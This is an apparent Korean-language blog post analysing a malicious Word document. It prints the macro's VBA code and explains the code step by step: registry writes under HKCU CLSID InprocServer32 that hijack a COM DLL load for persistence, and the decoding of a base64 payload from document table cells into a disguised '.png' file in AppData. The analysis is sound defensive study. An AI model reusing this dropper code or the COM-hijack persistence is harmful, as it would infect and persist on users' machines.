DOC 문서형 악성코드 .1
참고문 : https://blog.cystack.net/word-based-malware-attack/
개요
문서형 악성코드 중 워드 기반 악성코드로, 워드 문서의 매크로 기능(Enable Content)을 사용할때 동작한다.
- 악성 워드파일 열람 - 매크로 실행
- 악성코드 DROP
- DROP된 악성코드 실행
word 악성코드의 경우 주로 위와 같은 형태로 동작하는데, 순서에 따라 구분해서 분석을 진행하였다.
환경
- windows 7 Pro - service pack 2
- office 2010
1. 워드파일 매크로 실행
test.doc 파일을 실행하면 아래와 같은 이미지가 나온다
무슨 말인지는 하나도 알아들을수가 없지만, 워드상에서 매크로를 차단하고 Enable Content를 할껀지 물어보는 알림이 뜬 것으로 보아 해당 워드파일에는 매크로 스크립트가 들어있는것으로 추정된다.
워드파일의 매크로를 분석하려면 우선 코드를 봐야하고, 코드를 보려면 매크로를 한번 이상 실행한 상태여야만 한다. 그러므로 Enable Content를 클릭하여 매크로를 실행해주자.
우상단 view - macro - view macro 를 클릭해 매크로 뷰어로 진입한다.
아무것도 보이지 않아 매크로가 없는것 처럼 보일수도 있지만, 아무 매크로나 하나 생성해준 다음 편집기로 진입해보자.
좌측 메뉴의 Project(test) - Microsoft Word Object - ThisDocument 를 더블클릭하면 이 문서에 들어있던 매크로 코드를 볼 수 있다. 분석을 진행해보자.
Dim sAppData As String
sAppData = Environ("APPDATA")
sAppData = sAppData & "\main_background.png"
Dim myWS As Object, strPath
Set myWS = CreateObject("WScript.Shell")
Set fsoCheck = VBA.CreateObject("Scripting.FileSystemObject")
Dim iCheck As Boolean
iCheck = False
If (fsoCheck.FileExists("C:\Windows\SysWOW64\cmd.exe") = True) Then
iCheck = True
Else
iCheck = False
End If
CreateObject(WScript.shell) 로 시스템 명령 실행을 위한 오브젝트를 생성한다.
syswow64 디렉토리에 cmd.exe 존재 여부를 통해 운영체제가 x86 혹은 x64 아키텍쳐를 사용중인지 검사하는 구문이 있다. iCheck 변수가 True로 세팅되면 x64 운영체제라는 의미.
If iCheck = True Then
Dim wsh As Object
Set wsh = VBA.CreateObject("WScript.Shell")
Dim waitOnReturn As Boolean: waitOnReturn = True
Dim windowStyle As Integer: windowStyle = 0
wsh.Run "cmd.exe /S /C reg add HKEY_CURRENT_USER\Software\Classes\CLSID\ /f /reg:64", windowStyle, waitOnReturn
wsh.Run "cmd.exe /S /C reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543} /f /reg:64", windowStyle, waitOnReturn
wsh.Run "cmd.exe /S /C reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32 /ve /t REG_SZ /d " & sAppData & "/f /reg:64", windowStyle, waitOnReturn
Else
If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\") = False Then
myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\", "", "REG_SZ"
Else
End If
If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32\") = False Then
If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\") = False Then
myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\", "", "REG_SZ"
Else
End If
myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32\", sAppData, "REG_SZ"
Else
End If
참/거짓 여부에 따라 동작이 갈리는데, 두 동작 모두 레지스트리를 생성하는것은 동일하며, 조작하는 레지스트리 키는 HKEY_CURRENT_USER\Software\Classes\CLSID\ {2DEA658F-54C1-4227-AF9B-260AB5FC3543}이다.
해당 레지스트리 키가 존재하지 않으면 키를 생성하고, 존재한다면 하위 키인 InprocServer32를 생성하고 sAppdata 변수의 값을 집어넣는다.
CLSID registry key
CLSID는 Class Identifier 라고도 불리는 알파벳-숫자 조합의 심볼로, 프로그램을 구성하는 객체들을 특정하고 대표하는 값이다. 해당 레지스트리 키의 하위에는 특정 프로그램을 구성하는 클래스들의 정보가 담겨있다.
내용을 보면 특정 클래스에서 어떤 dll파일을 불러올지-에 대한 내용임을 알 수 있다. 레지스트리 하위키인 InprocServer32 는 기본 레지스트리 키 값으로써, 해당 프로그램에서 불러올 DLL의 정보를 담고있다.
따라서 해당 키를 조작하게 되면 프로그램에서 기본으로 호출해야 하는 클래스, dll의 정보가 바뀌는 것. 위의 매크로 스크립트는 기본 호출 DLL을 변조하는 동작을 한다고 이해하면 될듯 하다.
그 안에 들어갈 내용은 sAppData 변수로, 해당 변수 안에는 "APPDATA" 환경변수 값과 "\main_background.png" 문자열이 더해진 결과값이 들어있다.
APPDATA 환경변수는 "C:\Users[사용자명]\AppData\Roaming" 디렉토리 경로를 담고 있으므로, 최종적으로 sAppData 변수에는 "C:\Users[사용자명]\AppData\Roaming\main_background.png" 문자열이 담기게 되는것.
해당 경로로 이동하면 실제로 png 파일이 존재하는 것이 확인된다.
2. 악성파일 DROP
Dim b As String
Dim a As String
Dim tableNew As Table
Set tableNew = ActiveDocument.Tables(1)
If (iCheck = True) Then
a = tableNew.Cell(1, 1).Range.Text
a = Left(a, Len(a) - 2)
b = Base64Decode(a)
Else
a = tableNew.Cell(1, 2).Range.Text
a = Left(a, Len(a) - 2)
b = Base64Decode(a)
End If
다음번 스크립트 구문이다. ActiveDocument.Tables() 라는 함수를 통해 값을 가져오는데, 해당 함수는 현재 활성화된 문서 파일의 테이블 정보를 가져와 객체로 사용하는 동작을 한다.
따라서 Table오브젝트로 선언된 tableNew에 현재 문서의 테이블 정보가 들어가게 되고, 위에서 현재 시스템의 아키텍쳐를 확인하기 위해 사용한 변수인 iCheck 값에 따라 32비트, 64비트를 구분하여 테이블의 값을 가져오게 된다.
icheck가 true인 경우, 즉 64비트 운영체제인 경우는 현재 문서 테이블의 1.1 셀의 값을 가져와 a에 저장하고 , base64로 디코드하여 b라는 변수에 넣는다.
icheck가 false인 경우, 32비트 운영체제인 경우는 1.2 셀의 값을 가져와 b라는 변수에 넣는다.
셀에 관한 내용이 나와 해당 파일을 엑셀로 열어보았다.
이미지 뒷편으로 뭔가 잔뜩 있는데,
2개의 셀에 base64로 인코딩된 값이 들어가 있었다. 스크립트에서는 해당 셀들의 내용을 참조해 오는듯.
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Set oFile = fso.CreateTextFile(sAppData)
oFile.Write b
For i = 0 To 2049
For j = 0 To 1024
oFile.Write " "
Next
Next
oFile.Close
Set fso = Nothing
Set oFile = Nothing
이렇게 만들어진 문자열은 파일 입출력 함수를 통해 sAppData 변수가 가리키는 파일인 "C:\Users[사용자명]\AppData\Roaming\main_background.png" 에 쓰여지게 된다.
정리하자면, doc 파일안에 들어있던 특정 내용이 main_background.png 파일에 저장되는것. dropper로써의 동작을 했다고 보면 될 것 같다.
이렇게 drop된 파일은 레지스트리 키에 등록되어 특정 프로그램이 실행될 때에 기본 클래스로 참조되어 실행된다.
"taskhost" 프로세스는 윈도우 부팅시에 윈도우 서비스에 연관된 모든 DLL들을 실행시킨다.
이러한 형태로 레지스트리 키 하위에 DLL이 등록된다면, 윈도우가 부팅될 때 등록된 DLL, 즉 악성 코드가 실행되는 것.
그 아래 스크립트들의 내용은 코드 내에서 사용한 함수들을 정의한 것들이니, 스크립트 분석은 여기까지 해도 될듯하다.
VM 재부팅을 진행하여 어떤식으로 악성코드가 등록되어 실행되는지 확인해보려 했는데, 가상머신의 윈도우 버전으로 인해 모니터링을 제대로 진행할 수 없는 상황이고, 생성된 PE파일은 아키텍쳐 문제 떄문에 디버깅이 제대로 되지 않은 상황.
그만 둘수는 없으니 다른 DOC 악성코드 분석으로 넘어간다.
후에 인코딩된 바이너리 값들을 가지고 exe 파일을 만들어 보는 식으로 분석을 진행해 볼 생각.